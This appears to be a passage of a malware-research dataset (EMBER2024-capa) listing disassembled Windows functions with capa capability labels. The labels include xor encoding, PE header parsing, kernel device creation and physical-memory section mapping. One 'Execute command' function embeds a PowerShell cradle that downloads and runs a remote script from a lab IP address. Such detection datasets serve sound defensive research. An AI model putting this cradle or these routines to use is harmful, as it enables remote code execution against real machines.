joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180135596
Capabilities:
Encode data using xor

Disassembly:
shl byte [rsp + 0x20], 0xb6
call fcn.180217893
sub byte [rbp + 0x61], dh
ret
js 0x180146651
out dx, eax
jo 0x180120653
insd dword [rdi], dx
mov edi, 0xe7859b01
cmpsd dword [rsi], dword [rdi]
or ecx, dword [rbx + 0x1bbbc897]
invalid
and r14w, 0xe290
jne 0x180120697
add r8b, bpl
jge 0x180220335
xchg qword [rsp + 0x98], rbx
mov r8, qword [rsp + 0x18]
jb fcn.180102f24
shl qword [rsp + r14 + 0x20], 0xc7
jns 0x18018f5f6
cmovbe r9, rbp
test qword [rsp + r14*8 + 0x20], rbp
mov byte [rsp + 0x20], 0x82
mov rbp, qword [rsp + 0x70]
ja 0x18013f7ed
std
cmp al, 0x55
int1
call 0x11d2c40ae
add dword [rax + 0x5781d50c], ebp
test dword [rax - 0x5756320c], ecx
pushfq
invalid
sub r14, r14
and r14, qword [rsp + 0x20]
or r9w, r14w
jne 0x1801c3a7a
jo 0x1801b87f1
shr r14w, 0xc1
jno 0x18019a953
movabs r8, 0x519b15271f2bcd28
mov r8, qword [rsp]
lea rsp, [rsp + 0x20]
ret 8
mov r14, qword [rsp + r14 + 0x90]
jae 0x18011baf4
lahf
xor ch, dh
ficom dword [rbx - 0x34]
mov dh, 0x96
mov byte [rdi], al
xchg ecx, eax
out dx, al
cld
adc edx, esi
call fcn.180199352
call [rcx + 0x2b949287]
and dword [rbx + 0x79a0f05f], edx
test al, 0xeb
wait
imul byte [rdx + 0xa]
ja 0x18019a9e7
lahf
cld
imul eax, dword [rdx], 0xd
cmp dword [rdi - 0xb2c5e46], esi
int3
pop rbp
pop rdi
movaps xmmword [rcx + 0x2da2634c], xmm5
invalid
neg byte [rsp + rbp - 0x14fa]
cmovne rbp, qword [rsp + rbp - 0x1502]
setns bpl
shl bp, 0xa
mov rbp, qword [rsp + rbp*8 + 0x50]
setae byte [rsp + 0x40]
setns byte [rsp + 0x40]
setb byte [rsp + 0x48]
shr qword [rsp + 0x58], 0x7b
cmp word [rsp + 0x48], 0x318e
push qword [rsp + 0x60]
popfq
lea rsp, [rsp + 0x80]
ret
shr r14, 0x41
mov r9, qword [rsp + r14*2 + 0x28]
test r14, r14
je 0x18015ccc1
std
and dh, byte [rcx + 0x49d36d30]
jbe 0x1801c3aa5
lodsd eax, dword [rsi]
test eax, 0xb9f53529
cmpsb byte [rsi], byte [rdi]
add eax, 0x1d58f905
cmp al, 0xd9
xchg ch, dh
mov ecx, 0xf90505a6
pop rax
sbb eax, 0xf586d93c
fld dword [rsi + 0x67f92bf5]
in eax, 0x1a
cmc
sub edi, ecx
in eax, 0x1a
mov cl, 0x2e
in eax, dx
in al, dx
pop rsp
test dword [rsi - 0x6a], eax
insb byte [rdi], dx
mov dword [rsi - 0x67], ebx
cmpsd dword [rsi], dword [rdi]
mov dl, dl
mov ebx, 0x2bece896
pop rsp
leave
jrcxz 0x1801c3aa7
jg 0x1801c3a9d
invalid

Function at 0x1801571c4
Capabilities:
Encode data using xor

Disassembly:
mov al, 0x12
fild qword [rbp + 0x6defa260]
cli
std
mov esp, 0x4dcfaae9
nop
imul edx, dword [rdi + 0x10], 0x7c
call 0x18f419b1e
mov ecx, es
sub edx, edx
stosb byte [rdi], al
in al, 0xc7
invalid
jge 0x180157118
invalid
lea r12, [r12 - 0x35f6cc69]
lea esp, [rsp - 0x35f6cc69]
mov r12, qword [rsp + 0x48]
xor word [rsp + 0x68], 0xd6ac
call fcn.180023875
mov ecx, 0x14b8390
ja 0x18015716f
mov dl, 0x41
stc
and ecx, ebx
xchg ecx, eax
test al, 0xb3
cli
jno 0x1801571c5
xchg ebx, eax
imul edi, dword [rcx], 0xffffffd1
invalid
Function at 0x18015a637
Capabilities:
Encode data using xor

Disassembly:
movsx di, bl
jb 0x18025f01b
shl rcx, 0x3f
jae 0x1801f2269
mov rcx, qword [rsp + rcx*8 + 0x38]
call fcn.18016103e
xor r15, 0x4504b5af
xor r15w, 0x2196
mov r15, qword [rsp + r15 - 0x162dae76]
mov qword [rsp + 0x10], rdi
js 0x18020c070
jrcxz 0x18025f0a4
jp 0x18025f0b3
xchg edi, eax
and al, 0xb6
sbb edi, 0xe
mov bl, byte [rbx]
invalid
add eax, 0x5046039
add al, 5
xor dword [rdi - 0x322b9763], ecx
sub eax, ebp
sbb al, 0xba
push 0xffffffffeb6783e5
mov edx, dword [rdx]
push 0x3a6a509
add byte [rax], al
add bl, dh
and eax, 0xebc2324f
pop r12
push rsp
adc dword [rdi + 0x98bc22e], edx
jl 0x18025f0a7
cmc
invalid

Function at 0x18020a48c
Capabilities:
Packed with generic packer

Disassembly:
push r14
add qword [rsp + r10*2 - 0x7ee4], 0xffffffffffe5b05b
neg r10d
shl r10, 0x3e
lea rbx, [rbx + r10*2 + 1]
shr r10b, 0xbe
mov rdi, r10
add edi, 0xeea9831c
jl 0x1800bdc00
mov rbx, qword [rsp + r10*4 - 0xfdf4]
not r10b
push rdi
and r10d, r10d
jae 0x180095df2
mov esi, 0xbb4346ff
sbb al, byte [rbx]
invalid

Function at 0x18021ac62
Capabilities:
Encode data using xor

Disassembly:
shr word [rsp + 8], 0x53
add qword [rsp], 0xffffffffffefa2b8
add qword [rsp + 0x18], 0xffffffffdb95ac8e
and al, 0
mov eax, 0x48ffefa2
add dword [rsp + 0x18], 0xdb95ac8e
call fcn.18017296d
or eax, 0x55fe01d3
adc eax, 0xda6538b9
add dword [rax + 0x79b97ae5], esp
xor eax, 0xcd31310b
xchg ebx, eax
movabs eax, dword [0x799cbda121cc8dfe]
pop rcx
std
and bh, byte [rbx + riz*8]
shr byte [rbx + 0x1ea96c43], 1
xchg ecx, eax
and eax, 0xc3ee87f1
jne 0x18021ac6a
test al, 0xb6
js 0x18021acc1
invalid
cld
int1
invalid

Function at 0x180244329
Capabilities:
Encode data using xor

Disassembly:
shr byte [rsp], 0x61
add qword [rsp], 0xffffffffde2a6897
shr byte [rsp], 0xb3
cmp dword [rsp + 0x30], 0xbb8e193a
xchg qword [rsp + 0x48], rax
push qword [rsp + 0x40]
popfq
lea rsp, [rsp + 0x48]
ret
push 0x44b084b7
lea rax, [rax + 0x163b2889]
je 0x18011bafe
mov qword [rsp + 0x28], 0x3d8a1317
shl word [rsp + 0x28], 0xd7
jns 0x1801f5504

Function at 0x18034d305
Capabilities:
Encode data using xor

Disassembly:
not dword [rsp + 9]
xor bpl, r8b
push 0xffffffffa12ee5be
inc qword [rsp + 0xc]
jp 0x18034e18b
mov qword [rsp], 0x748e4203
inc qword [rsp]
ror r8b, 1
neg r8b
shr byte [rsp + 6], 0x84
adc r8b, 0x8a
push 0xffffffff9d0bbd3b
ror byte [rsp + 0xb], 0xc2
not byte [rsp + 0xa]
ror r8b, 1
add r8b, 0xf
jmp 0x18033f5fb
Function at 0x180001800
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rsi, r9
mov rbx, r8
mov r14, rcx
mov rdx, r9
lea rcx, [rsp + 0x28]
call fcn.180015c90
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x18000192c
lea rcx, [rsp + 0x28]
call fcn.180015d00
mov rdi, rax
cmp rsi, 0x10
jb 0x180001927
lea r15, [rsi - 0x10]
test r15b, 0xf
jne 0x180001927
mov rbp, r15
shr rbp, 4
test rbp, rbp
je 0x1800018f3
mov r12, rax
sub r12, rbx
dec r12
mov r13, rbx
sub r13, rax
add r13, 0x10
mov r14, qword [rsp + 0x78]
nop dword [rax]
lea rsi, [rdi + r13]
mov r8, rdi
mov rdx, rsi
mov rcx, r14
call fcn.180016980
lea rax, [rbx + 0xf]
cmp rdi, rax
ja 0x1800018d2
lea rax, [rsi + r12]
cmp rax, rbx
jb 0x1800018d2
mov rax, rdi
sub rbx, rdi
mov edx, 0x10
nop
movzx ecx, byte [rbx + rax]
xor byte [rax], cl
lea rax, [rax + 1]
sub rdx, 1
jne 0x1800018c0
jmp 0x1800018e1
movdqu xmm1, xmmword [rbx]
movdqu xmm0, xmmword [rdi]
xorps xmm1, xmm0
movdqu xmmword [rdi], xmm1
mov rbx, rsi
add rdi, 0x10
sub rbp, 1
jne 0x180001890
mov r14, qword [rsp + 0x70]
lea rcx, [rdi - 0x10]
mov edx, 0x10
call fcn.180016940
test eax, eax
je 0x180001927
mov eax, eax
sub r15, rax
je 0x180001927
mov r9, r15
xor r8d, r8d
mov rdx, r14
lea rcx, [rsp + 0x28]
call fcn.180016350
nop
mov rcx, qword [rsp + 0x28]
jmp 0x180001933
mov rcx, qword [rsp + 0x28]
mov qword [r14], 0
test rcx, rcx
je 0x18000193d
call fcn.180011550
mov rax, r14
mov rbx, qword [rsp + 0x80]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18001c7d0
Capabilities:
Allocate thread local storage
Set thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
cmp byte [0x18009e571], 0
mov rbx, rcx
jne 0x18001c801
mov byte [0x18009e571], 1
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x18009aee0], eax
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x18009aee4], eax
cmp dword [0x18009aee0], 0xffffffff
je 0x18001c835
mov edx, 8
lea ecx, [rdx + 0x38]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
test rax, rax
je 0x18001c835
mov qword [rax], rbx
mov rdx, rax
mov ecx, dword [0x18009aee0]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x20
pop rbx
ret

Function at 0x18001c8a0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov ebx, edx
mov rdi, rcx
mov dword [rsp + 0x48], 0
call fcn.180011610
lea rax, [rsp + 0x48]
mov edx, ebx
mov qword [rsp + 0x28], rax
lea r8, [0x18001c790]
mov r9, rdi
mov dword [rsp + 0x20], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rdi + 0x38], rax
test rax, rax
jne 0x18001c8f3
mov rcx, rdi
call fcn.180011550
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x180021570
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
push r15
lea rbx, [rcx + rdx]
mov rdi, rdx
mov r9, rcx
movabs rbp, 0xc2b2ae3d27d4eb4f
movabs rsi, 0x9e3779b185ebca87
movabs r14, 0x27d4eb2f165667c5
movabs r15, 0x7a1435883d4d519d
cmp rdx, 0x20
jb 0x1800216cf
movabs r10, 0x60ea27eeadc0b5d6
lea rcx, [rbx - 0x20]
add r10, r8
lea rdx, [r8 + rbp]
movabs r11, 0x61c8864e7a143579
add r11, r8
nop word [rax + rax]
mov rax, qword [r9]
imul rax, rbp
add r10, rax
mov rax, qword [r9 + 8]
imul rax, rbp
rol r10, 0x1f
add rdx, rax
mov rax, qword [r9 + 0x10]
imul rax, rbp
imul r10, rsi
add r8, rax
rol rdx, 0x1f
mov rax, qword [r9 + 0x18]
add r9, 0x20
imul rax, rbp
imul rdx, rsi
add r11, rax
rol r8, 0x1f
rol r11, 0x1f
imul r11, rsi
imul r8, rsi
cmp r9, rcx
jbe 0x1800215f0
mov rcx, r11
mov rax, r8
rol rcx, 0x12
rol rax, 0xc
add rcx, rax
mov rax, rdx
rol rax, 7
add rcx, rax
mov rax, r10
rol rax, 1
add rcx, rax
movabs rax, 0x85ebca77c2b2ae63
imul r10, rbp
imul rdx, rbp
imul r8, rbp
imul r11, rbp
rol r10, 0x1f
imul r10, rsi
rol rdx, 0x1f
xor rcx, r10
rol r8, 0x1f
imul rcx, rsi
imul rdx, rsi
imul r8, rsi
sub rcx, r15
rol r11, 0x1f
xor rcx, rdx
imul rcx, rsi
imul r11, rsi
sub rcx, r15
xor rcx, r8
imul rcx, rsi
sub rcx, r15
xor rcx, r11
imul rcx, rsi
add rax, rcx
add rax, rdi
jmp 0x1800216d6
lea rax, [rdx + r14]
add rax, r8
lea rcx, [r9 + 8]
cmp rcx, rbx
ja 0x18002170a
nop
mov rcx, qword [r9]
add r9, 8
imul rcx, rbp
rol rcx, 0x1f
imul rcx, rsi
xor rax, rcx
lea rcx, [r9 + 8]
rol rax, 0x1b
imul rax, rsi
sub rax, r15
cmp rcx, rbx
jbe 0x1800216e0
lea rdx, [r9 + 4]
movabs r8, 0x165667b19e3779f9
cmp rdx, rbx
ja 0x180021735
mov ecx, dword [r9]
mov r9, rdx
imul rcx, rsi
xor rax, rcx
rol rax, 0x17
imul rax, rbp
add rax, r8
cmp r9, rbx
jae 0x18002175b
nop word [rax + rax]
movzx ecx, byte [r9]
inc r9
imul rcx, r14
xor rax, rcx
rol rax, 0xb
imul rax, rsi
cmp r9, rbx
jb 0x180021740
mov rbx, qword [rsp + 0x18]
mov rcx, rax
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
shr rcx, 0x21
xor rcx, rax
imul rcx, rbp
mov rbp, qword [rsp + 0x20]
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r8
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
ret
Function at 0x1800217a0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov eax, dword [rcx + 0x48]
lea rbx, [rcx + 0x28]
mov rsi, qword [rcx]
lea r11, [rcx + 0x28]
add rbx, rax
mov rdi, rcx
movabs rbp, 0x9e3779b185ebca87
movabs r15, 0x27d4eb2f165667c5
movabs r14, 0xc2b2ae3d27d4eb4f
movabs r12, 0x7a1435883d4d519d
cmp rsi, 0x20
jb 0x18002189b
mov rcx, qword [rcx + 8]
mov r8, qword [rdi + 0x18]
mov r9, qword [rdi + 0x20]
mov rax, r8
mov rdx, qword [rdi + 0x10]
mov r10, r9
rol r10, 0x12
rol rax, 0xc
add r10, rax
mov rax, rdx
rol rax, 7
add r10, rax
mov rax, rcx
rol rax, 1
add r10, rax
movabs rax, 0x85ebca77c2b2ae63
imul rcx, r14
imul rdx, r14
imul r8, r14
imul r9, r14
rol rcx, 0x1f
imul rcx, rbp
rol rdx, 0x1f
xor r10, rcx
rol r8, 0x1f
imul r10, rbp
imul rdx, rbp
imul r8, rbp
sub r10, r12
rol r9, 0x1f
xor r10, rdx
imul r10, rbp
imul r9, rbp
sub r10, r12
xor r10, r8
imul r10, rbp
sub r10, r12
xor r10, r9
imul r10, rbp
add rax, r10
add rax, rsi
jmp 0x1800218a3
lea rax, [rsi + r15]
add rax, qword [rcx + 0x18]
lea rdx, [rdi + 0x30]
cmp rdx, rbx
ja 0x1800218da
nop dword [rax]
mov rcx, qword [r11]
add rdx, 8
imul rcx, r14
add r11, 8
rol rcx, 0x1f
imul rcx, rbp
xor rax, rcx
rol rax, 0x1b
imul rax, rbp
sub rax, r12
cmp rdx, rbx
jbe 0x1800218b0
lea rdx, [r11 + 4]
movabs r8, 0x165667b19e3779f9
cmp rdx, rbx
ja 0x180021905
mov ecx, dword [r11]
mov r11, rdx
imul rcx, rbp
xor rax, rcx
rol rax, 0x17
imul rax, r14
add rax, r8
cmp r11, rbx
jae 0x18002192b
nop word [rax + rax]
movzx ecx, byte [r11]
inc r11
imul rcx, r15
xor rax, rcx
rol rax, 0xb
imul rax, rbp
cmp r11, rbx
jb 0x180021910
mov rbx, qword [rsp + 0x20]
mov rcx, rax
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
shr rcx, 0x21
xor rcx, rax
imul rcx, r14
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r8
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
pop r12
ret
Function at 0x18007369c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1800736cc
xor eax, eax
jmp 0x18007378f
mov rbp, rbx
cmp word [rax], si
je 0x1800736f1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1800736d8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1800736d4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18007195c
movsxd r14, eax
mov rcx, r14
test eax, eax
jne 0x180073732
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1800736c5
call fcn.18006e7c0
mov rdi, rax
test rax, rax
jne 0x180073748
xor ecx, ecx
call fcn.18006df00
jmp 0x180073727
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18007195c
test eax, eax
jne 0x180073779
mov rcx, rdi
call fcn.18006df00
jmp 0x180073783
xor ecx, ecx
call fcn.18006df00
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x180075290
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800752b8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1800752b8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x11008
Capabilities:
Create device object

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rdi
sub rsp, 0x60
and qword [rax + 0x18], 0
mov rdi, rcx
lea rdx, [0x00011c90]
lea rcx, [rax - 0x28]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov edx, 0xffffffff
mov ecx, 0x10000
call qword [sym.imp.ntoskrnl.exe_MmAllocateContiguousMemory]
mov qword [0x00013128], rax
test rax, rax
jne 0x11053
mov eax, 0xc000009a
jmp 0x110f2
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_MmGetPhysicalAddress]
lea r8, [rsp + 0x40]
mov r9d, 0x8010
mov qword [0x00013130], rax
lea rax, [rsp + 0x80]
xor edx, edx
mov qword [rsp + 0x30], rax
mov rcx, rdi
mov byte [rsp + 0x28], 0
and dword [rsp + 0x20], 0
call qword [sym.imp.ntoskrnl.exe_IoCreateDevice]
mov ebx, eax
test eax, eax
js 0x110f0
lea rax, [0x00011104]
lea rdx, [0x00011cb0]
lea rcx, [rsp + 0x50]
mov qword [rdi + 0xe0], rax
mov qword [rdi + 0x80], rax
mov qword [rdi + 0x70], rax
lea rax, [0x00011624]
mov qword [rdi + 0x68], rax
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
mov ebx, eax
test eax, eax
jns 0x110f0
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ntoskrnl.exe_IoDeleteDevice]
mov eax, ebx
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
Function at 0x11680
Capabilities:
Map section object

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x10], rdx
push rsi
push rdi
push r12
sub rsp, 0xb0
and qword [rax - 0x60], 0
mov r12, rcx
lea rdx, [0x00011ce0]
lea rcx, [rax - 0x58]
mov rsi, r9
mov rbp, r8
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
and qword [rsi], 0
mov rbx, qword [rsp + 0xf0]
and qword [rbx], 0
and qword [rsp + 0x88], 0
and qword [rsp + 0xa0], 0
and qword [rsp + 0xa8], 0
lea rax, [rsp + 0x70]
lea r8, [rsp + 0x80]
mov edx, 0xf001f
mov rcx, rsi
mov dword [rsp + 0x80], 0x30
mov dword [rsp + 0x98], 0x40
mov qword [rsp + 0x90], rax
call qword [sym.imp.ntoskrnl.exe_ZwOpenSection]
mov edi, eax
test eax, eax
js 0x1189c
mov rcx, qword [rsi]
and qword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf001f
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
mov edi, eax
test eax, eax
js 0x1189c
mov rax, qword [rsp + 0xd8]
and dword [rsp + 0xe8], 0
xor edx, edx
lea rcx, [r12 + rax]
mov qword [rsp + 0x58], r12
mov r8, r12
lea r12d, [rdx + 1]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x50], rcx
lea r9, [rsp + 0xe8]
mov ecx, r12d
mov qword [rsp + 0x20], rax
call qword [sym.imp.HAL.dll_HalTranslateBusAddress]
mov r8, qword [rsp + 0x50]
and dword [rsp + 0xe8], 0
mov bl, al
lea rax, [rsp + 0x50]
lea r9, [rsp + 0xe8]
xor edx, edx
mov ecx, r12d
mov qword [rsp + 0x20], rax
call qword [sym.imp.HAL.dll_HalTranslateBusAddress]
test bl, bl
je 0x118a5
test al, al
je 0x118a5
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x48], 0x204
and dword [rsp + 0x40], 0
sub rcx, rax
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x38], r12d
lea rax, [rsp + 0xd8]
mov qword [rsp + 0xd8], rcx
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
or rbx, 0xffffffffffffffff
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsi]
lea r8, [rsp + 0x68]
xor r9d, r9d
mov rdx, rbx
call qword [sym.imp.ntoskrnl.exe_ZwMapViewOfSection]
mov edi, eax
cmp eax, 0xc0000018
jne 0x11883
mov rcx, qword [rsi]
mov dword [rsp + 0x48], 4
and dword [rsp + 0x40], 0
mov dword [rsp + 0x38], r12d
lea rax, [rsp + 0xd8]
lea r8, [rsp + 0x68]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xd8]
mov rdx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntoskrnl.exe_ZwMapViewOfSection]
mov edi, eax
test edi, edi
js 0x1189c
mov rax, qword [rsp + 0x58]
sub rax, qword [rsp + 0x60]
add rax, qword [rsp + 0x68]
mov qword [rbp], rax
jmp 0x118a5
mov rcx, qword [rsi]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
lea r11, [rsp + 0xb0]
mov eax, edi
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret

Function at 0x15064
Capabilities:
Create device object

Disassembly:
sub rsp, 0x28
mov r8, rdx
mov r9, rcx
call fcn.00015008
mov rdx, r8
mov rcx, r9
add rsp, 0x28
jmp fcn.00011008
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004460]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004470]
mov dword [rax], 1
mov rax, qword [0x140004480]
mov dword [rax], 1
mov rax, qword [0x1400043e0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004450]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140004520]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140004500]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400043c0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001450
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
call dbg.__main
lea rax, str.powershell.exe__IEX___new_object_net.webclient_.downloadstring_http:__192.168.56.103_powershell_attack.txt____
mov rcx, rax
call sym.system
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001740
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140002130
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000217d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002174
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000217f
add rax, 0x28
cmp rax, r9
jne 0x140002160
xor eax, eax
ret

Function at 0x140002180
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002210
mov rdx, qword [0x1400043e0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400021fe
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400021fe
cmp word [rax + 0x18], 0x20b
jne 0x1400021fe
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002210
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400021e9
add rbx, 0x28
cmp rbx, rdi
je 0x140002210
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400021e0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002220
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002240
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002248
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002240
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000229d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002294
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002240
add rax, 0x28
cmp rax, r9
jne 0x140002280
xor eax, eax
ret

Function at 0x1400022a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043e0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400022bf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022c8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400022bf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400022e0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400043e0]
